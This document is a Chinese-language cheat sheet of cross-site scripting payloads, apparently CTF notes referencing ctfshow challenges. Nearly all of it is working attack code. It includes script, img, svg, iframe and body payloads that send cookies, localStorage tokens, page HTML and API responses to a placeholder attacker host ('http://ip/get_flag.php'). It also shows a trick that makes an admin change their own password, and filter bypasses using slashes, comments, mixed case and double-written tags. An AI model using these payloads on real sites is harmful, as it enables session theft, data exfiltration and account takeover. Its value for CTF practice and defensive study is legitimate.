XSS跨站脚本攻击部分姿势
1.自动触发cookie窃取
1.script嵌入脚本
<script>location.href="http://ip/get_flag.php?c="+document.cookie</script>
2.图片异常
<img src="xxx" onerror="location.href='http://ip/get_flag.php?c='+document.cookie">
3.svg文本加载
<svg onload="location.href='http://ip/get_flag.php?c='+document.cookie"/>
4.内嵌网页
<iframe onload=window.location.href='http://ip/get_flag.php?c='+document.cookie;>
5.body闭合
<body onload=location.href='http://ip/get_flag.php?c='+document.cookie>
6.jQuery 选择器语法脚本
1 | <script>$('.laytable-cell-1-0-1').each(function(index, value){if(value.innerHTML.indexOf('ctf'+'flag'+'{')>-1){ window.location.href='http://ip/get_flag.php?c='+value.innerHTML;}});</script> |
7.请求伪造脚本
1 |
|
1 |
|
1 | <script>var gen = new XMLHttpRequest();gen.open('GET', '/api/search', false);gen.send(null);if (gen.status === 200){var t = gen.responseText;new Image().src = "http://ip/get_flag.php?c="+encodeURIComponent(t.slice(0, 2000));}</script> |
8.题目分享,一个很有意思的payload
ctfshow330响应,change.php通过get修改密码
1 | GET /api/change.php?p=12345678 HTTP/1.1 |
不妨让admin去自己访问修改密码的链接自己去修改自己的密码
1 | <script>location.href="http://127.0.0.1/api/change.php?p=12345678"</script> |
请求方式变为post就不能直接访问url了,但是可以用ajax异步请求
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123456'}})</script>
但是ajax不能携带cookie
2.token
<img src=x onerror='fetch("http://ip/get_flag.php?c="+encodeURIComponent(localStorage.token))'>
3.html界面
<img src="x" onerror="(new Image()).src='http://ip/?c='+encodeURIComponent(document.body.innerHTML);">
4.响应体数据外带
1 | <img src=x onerror="fetch('/api/archives').then(r=>r.json()).then(data=>{new Image().src='http://ip/get_flag.php?c='+btoa(JSON.stringify(data));});"> |
5.bypass
空格过滤,/分隔标签 ,/**/空注释
<svg/onload="location.href='http://ip/get_flag.php?c='+document.cookie"/>
<svg/**/onload="location.href='http://ip/get_flag.php?c='+document.cookie"/>
大小写绕过
<ScrIpt></<script>location.href="http://ip/get_flag.php?c="+document.cookie</ScrIpt>
双写绕过
比如后端把payload中的script删除,这时候可以这样构造<scrscriptipt>location.href="http://ip/get_flag.php?c="+document.cookie</scrscriptipt>





